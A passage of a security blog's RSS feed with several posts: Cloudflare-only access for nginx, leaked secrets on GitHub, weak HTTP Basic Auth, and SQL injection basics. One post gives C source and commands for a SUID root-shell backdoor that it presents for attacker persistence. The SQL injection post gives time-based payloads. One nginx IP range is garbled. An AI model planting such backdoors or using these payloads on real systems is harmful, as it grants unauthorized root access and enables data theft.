CF-Connecting-IP;</pre><p>Restart the service and the first problem will solved!</p><h3>2. Disable Direct Host Bypass</h3><p>This situation can be highly disruptive, particularly considering that we have already activated Proxying in Cloudflare, but… the potential for bypass through direct host access still exists. Consequently, if there are individuals with malicious intentions, they could directly carry out enumeration without going through Cloudflare’s network, thereby compromising the security of our website.</p><h4>Install nginx-extras</h4><p>In this part, we need a module called “geoip.” If you haven’t installed it yet, <strong><em>nginx-extras</em></strong> needs to be installed first.</p><pre>sudo apt-get install nginx-extras</pre><h4>Adjust nginx.conf</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8YfAweQMmdmJ70EQX24bw.png" /></figure><p>Add this configuration:</p><pre>geo $realip_remote_addr $cloudflare_ips {<br>  default 0;<br>  173.245.48.0/20 1;<br>  103.21.244.0/22 1;<br>  103.22.200.0/22 1;<br>  103.31.4.0/22 1;<br>  141.101.64.0/18 1;<br>  108.162.192.0/18 1;<br>  190.93.240.0/20 1;<br>  188.114.96.0/20 1;<br>  197.234.240.0/22 1;<br>  198.41.128.0/17 1;<br>  162.158.0.0/15 1;<br>  104.16.0.0/13 1;<br>  104.24.0.0/14 1;<br>  172.64.0.0/13 1;<br>  131.0.72.0/222400:cb00::/32 1;<br>  2606:4700::/32 1;<br>  2803:f800::/32 1;<br>  2405:b500::/32 1;<br>  2405:8100::/32 1;<br>  2a06:98c0::/29 1;<br>  2c0f:f248::/32 1;<br>}</pre><h4>Add Condition</h4><p>Please add a configuration that works like: “if there is a request from IPs that are not on the allowed list, then respond with 403 (Forbidden) error.”</p><p>You can place this configuration inside the “<strong><em>server {</em></strong>” block. For example, I will use one of the Virtual Hosts I’ve created in <strong><em>/etc/nginx/conf.d/default</em></strong> as an example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXaNVtG-2bk9hlKySQJpOg.png" /></figure><p>Configuration:</p><pre>if ($cloudflare_ips != 1) {<br>    return 403;<br>  }</pre><p>And they will be banned.</p><h4>How Can I Get Those Cloudflare IPs?</h4><ul><li><a href="https://www.cloudflare.com/ips-v4">https://www.cloudflare.com/ips-v4</a></li><li><a href="https://www.cloudflare.com/ips-v6">https://www.cloudflare.com/ips-v6</a></li></ul><p>To simplify the things above, you can use the tool that I have modified <a href="https://github.com/xchopath/cloudflare-nginx-conf/blob/master/cf-nginx-confmaker.sh">https://github.com/xchopath/cloudflare-nginx-conf/blob/master/cf-nginx-confmaker.sh</a></p><p>#EOF</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c0e15d70add" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple Rootkit for Linux Shell]]></title>
            <link>https://medium.com/@xchopath/simple-rootkit-for-linux-shell-76bafe1ba852?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/76bafe1ba852</guid>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Thu, 30 Mar 2023 13:13:28 GMT</pubDate>
            <atom:updated>2023-03-30T13:13:28.709Z</atom:updated>
            <content:encoded><![CDATA[<p>Usually the Attacker will install a Rootkit because it is one of the ways for Lateral Movement to keep the highest access rights like superuser or root.</p><p>Here is using a simple program made with C language.</p><h4>Build</h4><p>Make a file <strong>rootkit.c</strong>.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;unistd.h&gt;<br><br>int main()<br>{<br>  setuid(0);<br>  setgid(0);<br>  system(&quot;/bin/bash&quot;);<br>  return 0;<br>}</pre><p>Compile <strong>rootkit.c</strong>.</p><pre>gcc rootkit.c -o rootkit</pre><p>Give SUID permission for compiled rootkit.</p><pre>chmod +s rootkit</pre><h4>Call the Rootkit</h4><pre>./rootkit</pre><p>Done!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76bafe1ba852" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stop Pushing Source Code to Public GitHub Recklessly!]]></title>
            <link>https://medium.com/@xchopath/for-security-awareness-please-do-not-push-source-code-to-github-public-recklessly-2a446e09c88b?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a446e09c88b</guid>
            <category><![CDATA[security-awareness]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Fri, 25 Nov 2022 18:38:51 GMT</pubDate>
            <atom:updated>2022-11-27T20:24:18.643Z</atom:updated>
            <content:encoded><![CDATA[<p>I just want to share that what I found on GitHub public and it is about Security Awareness. Wikipedia says “<strong><em>Security awareness is</em></strong> the knowledge and attitude members of an organization possess regarding the protection of the physical, and especially informational, assets of that organization.”</p><p>Be aware!</p><p><strong>What is “Organization Assets” that you should not publish to public git repository?</strong></p><p>Most common are internal source code, API keys, database credentials, or security certificates.</p><p>You can see what I found if the dev lack of Security Awareness. They are leaked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cwnNrFTI6z2CUIov.png" /></figure><h3>But what should you do, if you are the dev?</h3><p>If you have discovered that you have just <em>exposed a sensitive file</em> or secrets to a public git repository like <strong>Github</strong> or <strong>GitLab</strong>. Don’t panic, just follow these steps.</p><p><strong>Remediations:</strong></p><ul><li>Delete the repository or make it private</li><li>If you still want to keep it, just delete the sensitive file and rewrite git history</li><li>Renew all leaked keys</li><li>Make sure your systems are not compromised</li><li>Don’t do it again</li></ul><p>If this “asset” belongs to your organization, It is important to speak to your Senior Developers. It can be scary to let your company know you have leaked sensitive information. But honesty is the best approach.</p><blockquote><em>Keep calm and do with ethic!</em></blockquote><p>I’m glad if it is happening to you right now, because if you read it after incident you will keep it on your top of mind.</p><h4>A Little Note</h4><p>Git command to exclude sensitive files (<em>git add with file exception</em>)</p><pre>git add . -- &#39;:!.env&#39; &#39;:!config.yml&#39;<br>git commit -m &quot;Anything...&quot;</pre><p>I hope this short article helps you to raise your security awareness.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a446e09c88b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Is HTTP Basic-Authentication Secure?]]></title>
            <link>https://medium.com/@xchopath/http-is-basic-authentication-secure-96b0dad66528?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/96b0dad66528</guid>
            <category><![CDATA[https]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[apache2]]></category>
            <category><![CDATA[nginx]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Fri, 25 Nov 2022 11:15:06 GMT</pubDate>
            <atom:updated>2022-11-25T19:45:44.483Z</atom:updated>
            <content:encoded><![CDATA[<p>HTTP BASIC-Auth is basic authentication to protect an authorized page which transmits credentials as user-id/password pairs, encoded using Base64. For example client request contains a header field: “<strong>Authorization: Basic &lt;Base64&gt;</strong>” and server-side will validate the request. It does not require cookies, session identifiers, or login page and easy to implement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*ru31VWUZEkFvLA0v3untsw.png" /><figcaption>HTTP Basic Authentication.</figcaption></figure><h4>Is BASIC-Auth secure “enough” to protect the system?</h4><p>Generally BASIC-Authentication is not considered secure.</p><p>Everyone thoughts HTTP BASIC-Authentication is secure enough to protect their system because BASIC-Authentication implementation is the simplest technique for enforcing access controls to web resources. But it is not completely safe, even the dev using (TLS/SSL).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/0*nW1qQuQpphlBfwJW.png" /></figure><p>Several reasons Why Auth BASIC is never considered secure:</p><h4>1. Password encoding is too weak (Base64)</h4><p>The password using mainstream encoding like Base64 (not an encryption or hash) and then Attacker could decode the password easily.</p><h4>2. Password is cached by browser</h4><p>Password may be stored permanently in the browser (if the user requests) and might be stolen by another user on a shared machine. Even though it does not happen, there is an another issue like CSRF as <em>HTTP Basic Authentication vulnerability</em>, because the cached password can be reused by any other request to the server. By the way i found this bug (CSRF through HTTP Basic Auth) in my client’s app, I will explain this in another post.</p><h4>3. Password sent repeatedly (request by request)</h4><p>It sounds not an issue, but it is dangerous though. If the password stored in DB, the DB should do a query to validating the password and will cause a bottleneck issue. Let’s say it will be a DoS Attack.</p><p>From those points, we can say <em>HTTP Basic Auth is not secure anymore</em>.</p><p>If you still using Basic authentication, I suggest you to change your Basic authentication to <em>Bearer authentication</em>, I think Bearer Auth is better than Basic authentication to improve any system security. You can prevent CSRF, prevent attacks via CORS, and many more.</p><h4><strong>Should We Move?</strong></h4><p>Yeah you should because Github is deprecating HTTP BASIC-Auth for the few endpoints on GitHub.com since 8 Aug 2019 and Microsoft is also deprecating HTTP BASIC-Auth from Exchange Online since 20 Sept 2019.</p><p>Do you still want to use BASIC Authentication after it?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96b0dad66528" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PenTest: SQL Injection for Babies]]></title>
            <link>https://medium.com/@xchopath/appsec-sql-injection-flaw-for-babies-65e2558ad3a9?source=rss-d50a380b7b11------2</link>
            <guid isPermaLink="false">https://medium.com/p/65e2558ad3a9</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[November Rain]]></dc:creator>
            <pubDate>Thu, 24 Nov 2022 22:58:10 GMT</pubDate>
            <atom:updated>2022-12-18T02:35:39.212Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL injection is a vulnerability that we can exploit the database through application. SQL injection occurs because <em>there is no input validation</em> (a.k.a. sanitization) in application. This attacks allow attackers to manipulate a database query then attackers can steal the data, change the data, and delete the data (depends on its design and its privilege).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*sj-YkEzspXzdyx2O9v0U9g.png" /><figcaption>Attacker can manipulate database query through application input and the app has no input sanitization.</figcaption></figure><h3>Type of SQL Injections</h3><h4>1. In-Band</h4><p>Data exfiltration using in-band attacks can be more faster because the data retrieved from database will displayed and received the result as a direct response.</p><ul><li>Union-based SQL injection</li><li>Error-based SQL Injection</li></ul><h4>2. Inferential (Blind SQL Injection)</h4><p>In blind attacks attacker does not receive an obvious response, but attacker still can exploit it with several techniques.</p><ul><li>Time-based SQL Injection</li><li>Boolean-based SQL Injection (True/False)</li></ul><h3>Flaw Detection</h3><p>A most favorite technique used by attackers is <em>Time-based SQL Injection</em>, it’s easier and simpler because if application response-time is delayed, attacker can consider it as a bug and can do further exploitation.</p><p><strong>MySQL</strong></p><pre>&#39; OR SLEEP(10) -- -</pre><p><strong>PostgreSQL</strong></p><pre>&#39; OR pg_sleep(10) -- -</pre><p>When attackers sent its query to application input and then application response-time is delayed about <em>10 seconds</em>, it means application endpoint has SQL injection possibility.</p><p>Example:</p><pre>POST /cart HTTP/1.1<br>Host: api.vulnerableshop.com<br>User-Agent: Mozilla/5.0<br>Authorization: Bearer Ju5t4R4nd0mStr1Ng<br><br>{&quot;product_id&quot;: &quot;17&#39; OR SLEEP(10) -- &quot;, &quot;action&quot;: &quot;add&quot;}</pre><h3>Fixing</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*zQFIhs4HI6Gl8XDhOeKPuA.png" /></figure><p>A function for input parameter like <strong><em>PDOStatement::execute()</em></strong> in PHP or using proper <em>Python’s string formatting</em> could help to prevent SQL injection attacks by eliminating dangerous characters (like quote) and the input won’t escape from the parameters.</p><p>Sample safe string formatting in <em>Python</em>:</p><pre>query = &quot;SELECT * FROM users WHERE username = %s&quot;<br>curs.execute(query, (username))</pre><p>And that’s all and goodbye.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65e2558ad3a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>